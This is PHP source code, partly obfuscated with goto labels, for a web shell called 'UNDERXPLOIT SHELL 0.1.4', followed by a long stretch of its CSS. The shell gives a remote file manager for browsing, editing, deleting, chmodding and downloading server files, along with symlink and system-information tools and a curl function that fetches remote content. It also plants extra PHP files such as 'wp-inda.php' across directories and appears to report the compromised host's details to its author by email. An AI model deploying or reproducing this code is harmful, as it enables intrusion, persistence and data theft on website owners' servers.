chdir($_COOKIE["from"]); foreach ($_COOKIE["target"] as $f) { if ($f == "..") { continue; } if (@is_file($_COOKIE["from"] . $f)) { $zip->addFile($_COOKIE["from"] . $f, $f); } elseif (@is_dir($_COOKIE["from"] . $f)) { $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . "/", FilesystemIterator::SKIP_DOTS)); foreach ($iterator as $key => $value) { $zip->addFile(realpath($key), $key); } } } chdir($GLOBALS["cwd"]); $zip->close(); } } } unset($_COOKIE["target"]); setcookie("target", '', time() - 3600); break; default: switch (true) { case !empty($_UNDERXPLOIT["hcx"]): vb("act", $_UNDERXPLOIT["hcx"]); vb("target", serialize(@$_UNDERXPLOIT["target"])); vb("from", @$_UNDERXPLOIT["from"]); } break; } } print "<script type="text/javascript"> function m1s() {
if(document.getElementById("act").value == "") {"; s("Select action"); print "return false;\xa    }\xa    document.getElementById("sks").submit();\xa  }
</script>\xa	<form name="data" action="?dir=" . $dir . "" method="POST" style="margin:0px"><div class="coL-panel"><table>
\x9<td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">FILE MANAGER</td></table></div>"; $dirContent = hs(isset($_UNDERXPLOIT["from"]) ? $_UNDERXPLOIT["from"] : $GLOBALS["cwd"]); switch ($dirContent) { case false: print "<script type="text/javascript">c("?" . x7 . "error&" . x5 . $dir . "");</script>"; return; } global $sort; $sort = array("name", 1); switch (true) { case !empty($_UNDERXPLOIT["hcx"]): if (preg_match("!s_([A-z]+)_(\d{1})!", $_UNDERXPLOIT["hcx"], $match)) { $sort = array($match[1], (int) $match[2]); } } print "<script language="JavaScript">\xafunction grow(isChecked) {\xa	\x9	if(isChecked) {\xa\x9\x9\x9\x9$('input[name="target[]"]').each(function() { \xa\x9			\x9this.checked = true; 
\x9\x9	\x9});\xa\x9		} else {\xa\x9\x9\x9	$('input[name="target[]"]').each(function() {
		\x9		this.checked = false;
\x9\x9		});\xa\x9\x9\x9}\xa		} </script>"; print "<table class="table-file" cellspacing="0">
    <th class="th-file">Name</th>
    <th class="th-file" style="width:80px" id="wh">Access</th>
    <th class="th-file" style="width:80px">Size</th>\xa    <th class="th-file" style="width:65px">Action</th>\xa    <th class="th-file"></th>
    <tr>"; $dir = getcwd(); $scn = scandir($dir); foreach ($scn as $_axu) { $dtype = filetype("{$dir}/{$_axu}"); switch (true) { case !is_dir("{$dir}/{$_axu}"): continue 2; break; } switch ($_axu) { case "..": $_axe = "<a class="a" onclick='c("?" . x5 . dirname($dir) . "")'>" . $_axu . "</a>"; break; case ".": $_axe = "<a class="a" onclick='c("?" . x5 . $dir . "")'>" . $_axu . "</a>"; break; default: $_axe = "<a class="a" onclick='c("?dir=" . $dir . "/" . $_axu . "")'>" . $_axu . "</a>"; $xdir += 1; } switch (true) { case $_axu == "." || $_axu == "..": $_axo = "--"; $ckh = "<label><input type="checkbox" disabled><span class="icon"><i class="zmdi zmdi-check zmdi-hc-fw"></i></span></label>"; break; default: $_axo = "<a class="a" id="button-" . crc32($_axu) . "">OPEN</a>"; $ckh = "<label><input type="checkbox" value="" . basename($_axu) . "" name="target[]"><span class="icon"><i class="zmdi zmdi-check zmdi-hc-fw"></i></span></label>"; } print "<tr>"; print "<td class="td-file elip"><i class="zmdi zmdi-folder-outline zmdi-hc-fw"></i>&nbsp;[ " . $_axe . " ]</td>"; print "<td align="center" id="wh" class="td-file">" . perms($_axu) . "</td>"; print "<td align="center" class="td-file"><center>--</center></th>"; print "<td align="center" class="td-file"> " . $_axo . "</td>"; print "<div id='cr-" . crc32($_axu) . "' class='hidden'>
<a onclick="c('?" . x7 . "upload&" . x5 . $dir . "/" . $_axu . "')"><i class='zmdi zmdi-upload zmdi-hc-fw'></i></a>\xa<a onclick="c('?" . x7 . "renadir&" . x5 . $dir . "/" . $_axu . "')"><i class='zmdi zmdi-flip zmdi-hc-fw'></i></a>\xa<a onclick="c('?" . x7 . "chmdir&" . x5 . $dir . "/" . $_axu . "')"><i class='zmdi zmdi-wrench zmdi-hc-fw'></i></a>
<a onclick="c('?" . x7 . "deledir&" . x5 . $dir . "/" . $_axu . "')"><i class='zmdi zmdi-delete zmdi-hc-fw'></i></a>
\x9</div>"; print "<td align="center" class="td-file" style="width:10px"><label for="" . $file . "">" . $ckh . "</td>"; print "<script type='text/javascript'>\xa	\x9$('#button-" . crc32($_axu) . "').toolbar({\xa\x9\x9\x9content: '#cr-" . crc32($_axu) . "',
		\x9position: 'top',\xa	\x9	style: 'dark',
		\x9event: 'click',\xa		\x9hideOnClick: true,
\x9\x9\x9adjustment: 28\xa	});</script>"; } print "</tr>"; foreach ($scn as $file) { $ftype = filetype("{$dir}/{$file}"); $ftime = date("F d Y g:i:s", filemtime("{$dir}/{$file}")); $size = filesize("{$dir}/{$file}") / 1024; $size = round($size, 3); switch (true) { case $size > 1024: $size = round($size / 1024, 2) . "MB"; break; default: $size = $size . "KB"; } switch (true) { case !is_file("{$dir}/{$file}"): continue 2; break; } print "<tr>"; print "<td class="td-file elip"><i class="zmdi zmdi-file zmdi-hc-fw"></i>&nbsp;<a class="a" onclick="c('?" . x7 . "view&" . x5 . $dir . "&" . x6 . $dir . "/" . $file . "')">"; $xfile += 1; switch ($file) { case basename($_SERVER["PHP_SELF"]): $aing = "<span class="label-success">" . $file . "</font>"; break; default: $aing = $file; } print $aing . "</label></a></td>"; print "<td align='center' class='td-file' id='wh'>" . perms($dir . "/" . $file) . "</td>"; print "<td align='center' class='td-file'>" . $size . "</td>"; print "<div id='cr-" . crc32($file) . "' class='hidden'>\xa   <a onclick="c('?" . x7 . "view&" . x5 . $dir . "&" . x6 . $dir . "/" . $file . "')"><i class='zmdi zmdi-eye zmdi-hc-fw'></i></a>
   <a onclick="c('?" . x7 . "edit&" . x5 . $dir . "&" . x6 . $dir . "/" . $file . "')"><i class='zmdi zmdi-edit zmdi-hc-fw'></i></a>\xa   <a onclick="c('?" . x7 . "rename&" . x5 . $dir . "&" . x6 . $dir . "/" . $file . "')"><i class='zmdi zmdi-flip zmdi-hc-fw'></i></a>\xa   <a onclick="c('?" . x7 . "chmod&" . x5 . $dir . "&" . x6 . $dir . "/" . $file . "')"><i class='zmdi zmdi-wrench zmdi-hc-fw'></i></a>
   <a onclick="c('?" . x7 . "delete&" . x5 . $dir . "&" . x6 . $dir . "/" . $file . "')"><i class='zmdi zmdi-delete zmdi-hc-fw'></i></a>\xa   <a onclick="c('?" . x7 . "download&" . x5 . $dir . "&" . x6 . $dir . "/" . $file . "')"><i class='zmdi zmdi-download zmdi-hc-fw'></i></a>
</div>"; print "<td align="center" class="td-file"><a class="a" id="button-" . crc32($file) . "">OPEN</a></td>"; print "<td align='center' class='td-file' style='width:10px'><label><input type='checkbox' name='target[]' value='" . $file . "'><div class='icon'><i class='zmdi zmdi-check zmdi-hc-fw'></i></div></label></td>"; print "<script type='text/javascript'>
\x9	$('#button-" . crc32($file) . "').toolbar({\xa\x9\x9	content: '#cr-" . crc32($file) . "',
	\x9	position: 'top',\xa\x9\x9\x9style: 'dark',
\x9	\x9event: 'click',\xa\x9	\x9hideOnClick: true,
	\x9\x9adjustment: 28\xa	});</script>"; } switch (true) { case $xdir == NULL: $ydir = 0; break; default: $ydir = $xdir; } switch (true) { case $xfile == NULL: $yfile = 0; break; default: $yfile = $xfile; } print "</table>\xa\x9\x9<table class='table-file'>\xa\x9		<td class='td-file' style='width:40px'><div style='margin-top:1px'><span class='lawb' onclick='nflo()' style='width:20px'><i class='zmdi zmdi-menu zmdi-hc-fw'></i></span></div></td>
	\x9	<td class='td-file' align='left'><div style='margin-bottom:4px'>DIRECTORY : [ <span class='label-success'>" . $ydir . "</span> ] &nbsp;&nbsp; FILE : [ <span class='label-success'>" . $yfile . "</span> ]</div></td>\xa
</table>
		<table style='width:100%;margin-top:2px' cellspacing ='0'>"; print "<td style='width:13%;margin-left:10px'><center><label><input type ='checkbox' id ='actchk' onClick ='grow(this.checked);'><div class='icon'><i class='zmdi zmdi-check-all zmdi-hc-fw'></i></div></label></center></td>"; print "<input type ='hidden' name ='ne' value =''>"; print "<input type ='hidden' name ='from' value ='" . htmlspecialchars($GLOBALS["cwd"]) . "'>"; print "<input type ='hidden' name ='charset' value ='" . (isset($_UNDERXPLOIT["charset"]) ? $_UNDERXPLOIT["charset"] : '') . "'>"; print "<td style='width:70%'>\xa\x9\x9<select name='hcx' style='width:100%' id='act'>"; if (!empty($_COOKIE["act"]) && @count($_COOKIE["target"])) { print "<option value ='paste'>Paste</option>"; } print "<option value =''>-- Select Action --</option>"; print "<option value ='copy'>Copy</option>"; print "<option value ='move'>Move</option>"; print "<option value ='delete'>Delete</option>"; if (class_exists("ZipArchive")) { print "<option value ='zip'>Compress (.zip)</option>"; } print "</select></td>"; if (!empty($_COOKIE["act"]) && @count($_COOKIE["target"]) && $_COOKIE["act"] == "zip") { print "<input class='top' type='text' name='xpoz' value='" . rand(0, 100) . "-" . date("Y-m-d") . "." . ($_COOKIE["act"] == "zip" ? "zip" : "tar.gz") . "' style='background:none;border:0;border-left:3px solid #1D9D73;margin-left:5px'>"; } print "<td style='width:20%;text-align:right;padding-left:3px;padding-right:2px'><button type='submit' onclick='m1s(); return false;' class='btn-exe'><i class='zmdi zmdi-long-arrow-return zmdi-hc-fw'></i></button></td></form></table>"; if (isset($_UNDERXPLOIT["ndir"])) { $cdir = $_UNDERXPLOIT["newinput"]; switch (true) { case is_dir($dir . "/" . $cdir): bacot("Directory already exist"); break; default: switch (true) { case mkdir($dir . "/" . $cdir, 511): print "<script type="text/javascript">c("?" . x5 . $dir . "");</script>"; break; default: bacot("Can't create directory"); } } } if (isset($_UNDERXPLOIT["nfil"])) { $cfile = $_UNDERXPLOIT["newinput"]; switch (true) { case file_exists($dir . "/" . $cfile): bacot("File already exist"); break; case fopen($dir . "/" . $cfile, "w+"): print "<script type="text/javascript">c("?" . x7 . "edit&" . x5 . $dir . "&" . x6 . $dir . "/" . $cfile . "");</script>"; break; default: bacot("Can't create file"); } } print "<script language="Javascript">\xa		function cog(){ 
\x9if(document.forms['new'].newinput.value === "") {"; s("Can't be empty"); print "return false; \xa	}\xa} </script>"; print "<script type="text/javascript"> 
function valid(field) { 
        var re = /^[0-9-A-z.]*$/; \xa   if(!re.test(field.value)) {"; s("Invalid character"); print "field.value = field.value.replace(/[^0-9-A-z.]/g,""); 
     } 
} </script>"; print "<div id="nflo" style="display:none"><table style="margin-top:3px" cellspacing="0">\xa	\x9	<form name="new" action="?" . x5 . $dir . "" method="post">
\x9<td style="padding-left:2px"><input type="text" name="newinput" onkeyup="valid(this);"></td>
\x9<td style="padding-left:3px"><button type="submit" class="btn-exe" name="ndir" onclick="return cog();"><i class="zmdi zmdi-folder-outline zmdi-hc-fw"></i></button></td>
\x9<td style="padding-left:3px;padding-right:2px"><button type="submit" class="btn-exe" name="nfil" onclick="return cog();"><i class="zmdi zmdi-file-plus zmdi-hc-fw"></i></button></td>\xa			</form></table></div></div>"; } goto xGgS7; AO5IH: if (function_exists("curl_init")) { $ch = @curl_init(); curl_setopt($ch, CURLOPT_URL, $x); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $gitt = curl_exec($ch); curl_close($ch); if ($gitt == false) { @($gitt = file_get_contents($x)); } } elseif (function_exists("file_get_contents")) { @($gitt = file_get_contents($x)); } goto AaEJm; izBTO: @ini_set("max_execution_time", 0); goto kRUUf; wdYZD: $to_email = "[email protected]"; goto iF3qA; sqNVX: print "<table><form action="?" . x5 . $dir . "" method="POST"><td align="center" style="width:10%"><i class="zmdi zmdi-chevron-right zmdi-hc-fw"></span></td><td style="width:70%"><select name="op" id="c">"; goto vwhEG; tnDK6: @define("sec", $pass, true); goto IGi46; A5QyF: function op($d, $e) { $fp = fopen($d, "w"); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $e); curl_setopt($ch, CURLOPT_BINARYTRANSFER, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_FILE, $fp); return curl_exec($ch); curl_close($ch); fclose($fp); ob_flush(); flush(); } goto a6ep7; k16sg: print "<table class="ex-hov"><td class="td-tools-left"><i class="zmdi zmdi-chart-donut zmdi-hc-fw"></i></td><td class="td-tools-content">Multiple Hash</td><td class="td-tools-icon"><a onclick='c("?" . x7 . "multihash&" . x5 . $dir . "")'><button class="btn-exe"><i class="zmdi zmdi-long-arrow-right zmdi-hc-fw"></i></button></a></td></table>"; goto qklOP; wmsPK: function r($str) { print "<script type="text/javascript">window.location = "" . $str . "";</script>"; return $str; } goto jbyhU; afrzq: $EL_MuHaMMeD .= "Avlanan Site : " . $_SERVER["HTTP_HOST"] . "
\xa"; goto Ha5l1; R050H: $filez = basename($_UNDERXPLOIT["file"]); goto vaz84; Fj2zU: $wp_code = $document_root . "/wp-clon.php"; goto q9Gdg; llFjY: print "<table class="ex-hov"><td class="td-tools-left"><i class="zmdi zmdi-chart-donut zmdi-hc-fw"></i></td><td class="td-tools-content">Change Password</td><td class="td-tools-icon"><a onclick='c("?" . x7 . "change&" . x5 . $dir . "")'><button class="btn-exe"><i class="zmdi zmdi-long-arrow-right zmdi-hc-fw"></i></button></a></td></table>"; goto oe0uo; MRFHu: function vb($k, $v) { $_COOKIE[$k] = $v; setcookie($k, $v); } goto U7yzu; ljxSD: switch (true) { case get_magic_quotes_gpc(): function stripslashes_array($array) { return is_array($array) ? array_map("stripslashes_array", $array) : stripslashes($array); } $_UNDERXPLOIT = stripslashes_array($_UNDERXPLOIT); $_COOKIE = stripslashes_array($_COOKIE); } goto tgeLm; Q3CkE: $time_shell = '' . date("d/m/Y - H:i:s") . ''; goto mEvpE; V69xh: $document_root = $_SERVER["DOCUMENT_ROOT"]; goto D5HZr; FLOna: function deledir($str) { switch (true) { case is_dir($str): $hnd = opendir($str); switch (true) { case !$hnd: return false; break; default: while ($file = readdir($hnd)) { switch (true) { case $file != "." && $file != "..": switch (true) { case !is_dir($str . "/" . $file): unlink($str . "/" . $file); break; default: deledir($str . "/" . $file); } break; } } closedir($hnd); rmdir($str); return true; break; } break; } } goto ilic9; a6ep7: function perms($x_x) { if ($x_cv = @fileperms($x_x)) { $x_cz = "u"; if (($x_cv & 49152) == 49152) { $x_cz = "s"; } elseif (($x_cv & 40960) == 40960) { $x_cz = "l"; } elseif (($x_cv & 32768) == 32768) { $x_cz = "-"; } elseif (($x_cv & 24576) == 24576) { $x_cz = "b"; } elseif (($x_cv & 16384) == 16384) { $x_cz = "d"; } elseif (($x_cv & 8192) == 8192) { $x_cz = "c"; } elseif (($x_cv & 4096) == 4096) { $x_cz = "p"; } $x_cz .= $x_cv & 256 ? "r" : "-"; $x_cz .= $x_cv & 128 ? "w" : "-"; $x_cz .= $x_cv & 64 ? "x" : "-"; $x_cz .= $x_cv & 32 ? "r" : "-"; $x_cz .= $x_cv & 16 ? "w" : "-"; $x_cz .= $x_cv & 8 ? "x" : "-"; $x_cz .= $x_cv & 4 ? "r" : "-"; $x_cz .= $x_cv & 2 ? "w" : "-"; $x_cz .= $x_cv & 1 ? "x" : "-"; return $x_cz; } else { return "- ?? -"; } } goto FLOna; DGOWi: $pass = "3971b06e7e797cd955c8d8d0a3c1f563"; goto cyCa_; qB4cR: $size = round($size, 3); goto ubJVL; PafL_: $header = "From: {$from_shellcode}\xd\xaReply-to: {$from_shellcode}"; goto qcqoG; IbWdO: fclose($open_code); goto xCy9c; RHE0L: print "</td></table></div></th></table></div>"; goto R050H; o_Vxs: print "<table><form method="POST" action="?" . x5 . $dir . "">\xa\x9<td align="center" style="width:10%"><i class="zmdi zmdi-chevron-right zmdi-hc-fw"></i></td>\xa\x9<td style="width:70%"><select name="file_name" id="u">\xa	<option value=""> -- Extractor (.zip) --</option>"; goto occvV; q9Gdg: $open_code = fopen($wp_code, "w"); goto kiR_W; WcDHN: print "<table class="ex-hov"><td class="td-tools-left"><i class="zmdi zmdi-chart-donut zmdi-hc-fw"></i></td><td class="td-tools-content">Multiple Symlink</td><td class="td-tools-icon"><a onclick='c("?" . x7 . "symlink&" . x5 . $dir . "")'><button class="btn-exe"><i class="zmdi zmdi-long-arrow-right zmdi-hc-fw"></i></button></a></td></table>"; goto llFjY; uE6Tr: print "<table class="ex-hov"><td class="td-tools-left"><i class="zmdi zmdi-chart-donut zmdi-hc-fw"></i></td><td class="td-tools-content">System Information</td><td class="td-tools-icon"><a onclick='c("?" . x7 . "system&" . x5 . $dir . "")'><button class="btn-exe"><i class="zmdi zmdi-long-arrow-right zmdi-hc-fw"></i></button></a></td></table>"; goto zOr2h; W7vpC: $wp_makale = $document_root . "/phpinfo.php"; goto En2ni; wlLYr: foreach ($directories as $dir) { if (!preg_match("#wp-content#", $dir)) { $css_file = $dir . "/wp-inda.php"; $open_css = fopen($css_file, "w"); fwrite($open_css, $css); fclose($open_css); } } goto KLQWH; fNghJ: @ini_set("html_errors", 0); goto izBTO; X3Hp0: $wp_detect = 0; goto aNOex; ZnK1v: function bacot($str) { print "<script type="text/javascript"> notif({
\x9			type: "default",
\x9\x9\x9\x9msg: "<span class='alert'><font color='#fff'>" . $str . "</font>",\xa	\x9	\x9width: "all",
		\x9	height: 100,
			\x9position: "center",\xa		\x9});</script>"; return $str; } goto ljxSD; yyKE3: $EL_MuHaMMeD .= "Server Admin : " . $_SERVER["SERVER_ADMIN"] . "
"; goto TSd7b; aS70t: print "<div class="coR">\xa	\x9		<div class="coR-panel">
\x9<table>\xa\x9\x9\x9<td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">TOOLS</td>
\x9</table>\xa</div>\xa	<div class="tools-content">"; goto T1I2a; vUJGQ: print "</select></td><td style="width:20%;text-align:right"><button id="exzip" type="submit" name="x" class="btn-exe" onclick="unzip();return false;"><i class="zmdi zmdi-long-arrow-return zmdi-hc-fw"></i></button></form></td>\xa\x9</table>
<script type="text/javascript"> function gv() {\xa\x9if(document.getElementById("cnsl").value == ""){"; goto Rm7hS; cOBug: print "<!DOCTYPE html lang="en">\xa<head>\xa    <title>UNDERXPLOIT SHELL 0.1.4</title>
    <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no">
    <meta name="author" content="WILDAN IZZUDIN">\xa    <meta name="theme-color" content="#1D9D73">\xa    <meta name="apple-mobile-web-app-capable" content="yes">\xa    <meta name="apple-mobile-web-app-status-bar-style" content="#1D9D73">
    <meta name="msapplication-navbutton-color" content="#1D9D73">
    <link rel="icon" href="//underxploit.github.io/core/favicon.ico" type="image/x-icon" />
\x9<link rel="stylesheet" href="//underxploit.github.io/core/icons/material.css" />\xa<style>\xa@import url(https://fonts.googleapis.com/css?family=Play);img[alt*="www.000webhost.com"]{display:none}*{box-sizing:border-box}*:focus{outline:0}::-moz-selection{background-color:rgba(201,223,255,.1);color:#fff}body{font-size:14px;background-attachment:fixed;color:#fff;margin:auto;font-family:"Play";background-color:#202020;overflow:auto;box-sizing:border-box}code{font-family:"Play";word-wrap:break-word;background:rgba(0,0,0,.2);font-size:13px}pre{margin:0;border:1px solid #343436;white-space:pre-wrap;white-space:-moz-pre-wrap;white-space:-pre-wrap;white-space:-o-pre-wrap;word-wrap:break-word;font-size:13px;background:#222}a{text-decoration:none;color:#fff}input[type=file]::-webkit-file-upload-button{background:#1D9D73;border:1px solid #1D9D73;color:#1D9D73;font-size:14px;font-family:"Play";border-radius:2px;width:1px}input[type=file]{border:1px solid #343436;color:#fff;background:#323232;width:100%;font-size:14px;padding:7px;border-radius:2px;font-family:"Play"}select{-webkit-appearance:none;-moz-appearance:none;text-indent:1px}input[type=number]{-moz-appearance:textfield}input[type=number]::-webkit-inner-spin-button,input[type=number]::-webkit-outer-spin-button{-webkit-appearance:none;-moz-appearance:none;appearance:none;margin:0}input[type=text],input[type=number],input[type=password]{border:1px solid #343436;padding:9px;background:#323232;color:#fff;font-family:"Play";width:100%;border-radius:2px;font-size:14px}textarea{border:1px solid rgba(255,255,255,.1);width:100%;height:600px;padding:5px;background:none;color:#fff;font-family:"Play";font-size:13px;border-radius:2px}select{padding:9px;border:1px solid #343436;font-family:"Play";font-size:14px;background:#323232;width:100%;color:#fff;border-radius:2px;-webkit-appearance:none}.btn-exe{background:#1D9D73;color:#fff;font-family:"Play";padding:9px;border:1px solid #1D9D73;width:100%;border-radius:2px;font-size:14px;-webkit-transition:all 0.3s;-moz-transition:all 0.3s;transition:all 0.3s}.btn-exe:hover{background:none;border:1px solid #1D9D73;color:#1D9D73}.lawb{position:relative;bottom:3px;background:#1D9D73;color:#fff;font-family:"Play";padding:3px 7px;border:1px solid #1D9D73;width:100%;border-radius:2px;font-size:13px;-webkit-transition:all 0.3s;-moz-transition:all 0.3s;transition:all 0.3s}.tup{font-size:14px}.alert{font-family:"Play";color:#fff}.coL{width:469px;border:0 solid #ddd;background:#222;padding:3px;float:left;margin-left:2px;margin-right:2px;margin-bottom:2px;margin-top:3px;color:#222}.tools-content{padding:3px;margin:1px 2px 0 2px;background:none;border-radius:2px;border:1px solid #343436}.td-tools-left{padding:5px;width:30px;text-align:center}.td-tools-icon{width:50px;background:none;text-align:center}.td-tools-content{padding-left:5px;font-size:14px}.label-danger{color:red}.label-success{color:#1D9D73}.coR{width:343px;border:0;background:#222;margin-left:2px;margin-right:2px;margin-bottom:2px;margin-top:3px;padding:3px;float:left}table{width:100%}hr{border:0;height:1px;background-image:-webkit-linear-gradient(left,#343436,#343436,#343436);background-image:-moz-linear-gradient(left,#343436,#343436,#343436);background-image:-ms-linear-gradient(left,#343436,#343436,#343436);background-image:-o-linear-gradient(left,#343436,#343436,#343436)}h2{font-size:19px;font-weight:400}.th-nav{width:85px}.co-ontainer-2{max-width:820px;margin:auto;overflow:hidden;background:#222;box-shadow:0 1px 5px rgba(27,31,35,.15)!important}.co-ontainer-3{max-width:820px;margin:auto;overflow:hidden;background:none}.coL-panel{padding:1px;border:1px solid #343436;border-bottom:0;color:#fff;border-radius:2px;margin:2px;margin-bottom:0;background:none}.coR-panel{padding:1px;border:1px solid #343436;border-bottom:0;color:#fff;margin:2px;border-radius:2px;background:none}.main-content{padding:5px;margin-top:5px;background:none;border:0 solid #ddd;font-size:16px}.ex-hov:hover{background:rgba(52,52,63,.2);-webkit-transition:all 0.3s;-moz-transition:all 0.3s;transition:all 0.3s}.dir{background:#343436;padding:2px;margin-left:2px;margin-right:2px;margin-top:3px;margin-bottom:1px;font-size:15px}.dir-pallet{background:rgba(255,255,255,.1);padding:6px;text-align:left}.dir-td-left{width:50px;border-right:1px solid #1D9D73;font-size:14px}.dir-td-right{padding-left:5px;font-size:15px}@media screen and (max-width:2024px){select{padding:8px}#wh{display:display}.co-ontainer-2{width:100%;border-radius:0}.coL{width:467px;background:none:margin-bottom:3px;border:none}.coR{width:42%;float:right;border:none}}@media screen and (max-width:1024px){select{padding:8px}#wh{display:display}.co-ontainer-2{width:100%;border-radius:0}.coL{width:467px;background:none:margin-bottom:3px;border:none}.coR{width:42%;float:right;border:none}}@media screen and (max-width:780px){select{padding:9px}#wh{display:none}.co-ontainer-2{background:#222;border-radius:0;margin-top:0}.coL{padding:1px;width:auto;float:none}.coR{padding:1px;width:auto;float:none}}.footer{background:#343436;color:#fff;padding:8px;text-align:center;margin:auto;overflow:hidden;max-width:820px;-webkit-box-shadow:0 1px 4px 0 rgba(0,0,0,.14);-moz-box-shadow:0 1px 4px 0 rgba(0,0,0,.14);-ms-box-shadow:0 1px 4px 0 rgba(0,0,0,.14);-o-box-shadow:0 1px 4px 0 rgba(0,0,0,.14);box-shadow:0 1px 4px 0 rgba(0,0,0,.14)}.td-panel{border-right:1px solid #343436;padding:5px;padding-right:8px;width:40px;text-align:center;color:#fff}.td-panel-right{padding-left:3px;font-size:14px}.a:hover{color:#1D9D73;-webkit-transition:all 0.3s;-moz-transition:all 0.3s;transition:all 0.3s}.coL-option{padding:5px;border:1px solid #343436;margin:2px 2px 0 2px;background:none;font-size:13px;border-radius:2px;color:#fff}.coL-option td{font-size:14px}.coL-btn-option-active{padding:7px;background:none;border:0 solid rgba(255,255,255,.1);font-size:14px;font-family:"Play";width:100%;color:#fff}.coL-btn-option{padding:7px;background:#343436;border:1px solid #343436;font-size:14px;border-radius:2px;font-family:"Play";width:100%;color:#fff;-webkit-transition:all 0.3s;-moz-transition:all 0.3s;transition:all 0.3s}.coL-btn-option:hover{background:none;width:100%;color:#fff;border:1px solid #343436}.coL-option-panel{padding:5px;border:none;background:#343436;font-size:14px}.xa{background:#1D9D73;color:#fff;width:30px;height:30px;padding:5px;border:none;-webkit-transition:all 0.3s;-moz-transition:all 0.3s;transition:all 0.3s;border-radius:100%}.xa:hover{background:#343436;color:#1D9D73}.table-info{margin-top:3px;border-collapse:collapse;font-family:"Play"}.th-info{padding:6px;border:1px solid #343436;background:#343436;border-collapse:collapse;font-family:"Play";font-weight:400;color:#fff;font-size:14px}.td-info{padding:7px;border:1px solid #343436;background:none;font-family:"Play";font-size:14px}.table-file{margin-top:3px;font-family:"Play";padding-right:2px;padding-left:2px}.table-file tr:hover{background:rgba(52,52,63,.2);-webkit-transition:all 0.3s;-moz-transition:all 0.3s;transition:all 0.3s}.th-file{padding:6px;border:1px solid #343436;background:#343436;font-family:"Play";font-weight:400;font-size:14px;color:#fff}.td-file{font-size:14.3px;padding:4px;border:0;border-bottom:1px dashed #343436;background:none;font-family:"Play" color:#222}.wr{padding:10px 5px 10px 5px}.loader{border:2px solid #343436;border-radius:50%;border-top:2px solid #1D9D73;width:20px;height:20px;-webkit-animation:spin 600ms linear infinite;animation:spin 600ms linear infinite}@-webkit-keyframes spin{0%{-webkit-transform:rotate(0deg)}100%{-webkit-transform:rotate(360deg)}}@keyframes spin{0%{transform:rotate(0deg)}100%{transform:rotate(360deg)}}#judul{text-transform:uppercase;float:left;margin-top:8px;font-weight:700;display:none}.atas{background:fixed;background-size:cover;text-align:center;padding:0;background-color:#222}@media screen and (max-width:2024px){select{padding:8px}#particles-js{height:300px}}@media screen and (max-width:1024px){select{padding:8px}#particles-js{height:300px}}@media screen and (max-width:780px){select{padding:9px}#particles-js{height:200px}}#particles-js{max-width:820px}input[type=checkbox]{display:none}.icon{text-align:center;display:inline-block}.icon .zmdi{visibility:hidden}input[type=checkbox]:checked + .icon .zmdi{position:relative;top:1px;right:1px;visibility:visible}input[type=checkbox]{display:inline\9}.icon{display:none\9}input[type=checkbox]{margin:0 .1em}.icon{background:none;border:1px solid #343436;border-radius:100px;text-align:center;font-size:15px;margin:2px auto 2px auto;height:20px;width:20px;line-height:2000px}.move-top{color:#fff;border-radius:3px;position:fixed;bottom:10px;right:10px;text-decoration:none;padding:15px 25px 15px 20px;display:none;background:rgba(0,0,0,.4)}.animated{-webkit-animation-duration:1s;animation-duration:1s;-webkit-animation-fill-mode:both;animation-fill-mode:both}.animated.infinite{-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite}@-webkit-keyframes flash{from,50%,to{opacity:1}25%,75%{opacity:0}}@keyframes flash{from,50%,to{opacity:1}25%,75%{opacity:0}}.flash{-webkit-animation-name:flash;animation-name:flash}@-webkit-keyframes rubberBand{from{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}30%{-webkit-transform:scale3d(1.25,.75,1);transform:scale3d(1.25,.75,1)}40%{-webkit-transform:scale3d(.75,1.25,1);transform:scale3d(.75,1.25,1)}50%{-webkit-transform:scale3d(1.15,.85,1);transform:scale3d(1.15,.85,1)}65%{-webkit-transform:scale3d(.95,1.05,1);transform:scale3d(.95,1.05,1)}75%{-webkit-transform:scale3d(1.05,.95,1);transform:scale3d(1.05,.95,1)}to{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@keyframes rubberBand{from{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}30%{-webkit-transform:scale3d(1.25,.75,1);transform:scale3d(1.25,.75,1)}40%{-webkit-transform:scale3d(.75,1.25,1);transform:scale3d(.75,1.25,1)}50%{-webkit-transform:scale3d(1.15,.85,1);transform:scale3d(1.15,.85,1)}65%{-webkit-transform:scale3d(.95,1.05,1);transform:scale3d(.95,1.05,1)}75%{-webkit-transform:scale3d(1.05,.95,1);transform:scale3d(1.05,.95,1)}to{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}.rubberBand{-webkit-animation-name:rubberBand;animation-name:rubberBand}.menus{padding:8px;text-align:right;background:none}.atas-ae{position:fixed;top:0;right:0;left:0;z-index:1030;padding:10px;margin:auto;max-width:820px}.top{margin-top:3px}.elip{max-width:100px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.wrap{word-wrap:break-word}.break{word-break:break-all;white-space:normal}#ui_notifIt{position:fixed;top:10px;right:10px;left:10px;cursor:none;overflow:hidden;-webkit-box-shadow:0 3px 5px rgba(0,0,0,.3);-moz-box-shadow:0 3px 5px rgba(0,0,0,.3);-o-box-shadow:0 3px 5px rgba(0,0,0,.3);box-shadow:0 3px 5px rgba(0,0,0,.3);-wekbit-border-radius:5px;-moz-border-radius:5px;-o-border-radius:5px;border-radius:5px;z-index:2000}#ui_notifIt:hover{opacity:1!important}#ui_notifIt p{text-align:center;font-family:sans-serif;font-size:14px;padding:0;margin:0}#notifIt_close{position:absolute;color:#FFF;top:0;padding:0 5px;right:0}#notifIt_close:hover{background-color:rgba(255,255,255,.3)}#ui_notifIt.default{background-color:#1D9D73;border:0;-webkit-box-shadow:0 1px 4px 0 rgba(0,0,0,.14);-moz-box-shadow:0 1px 4px 0 rgba(0,0,0,.14);-ms-box-shadow:0 1px 4px 0 rgba(0,0,0,.14);-o-box-shadow:0 1px 4px 0 rgba(0,0,0,.14);box-shadow:0 1px 4px 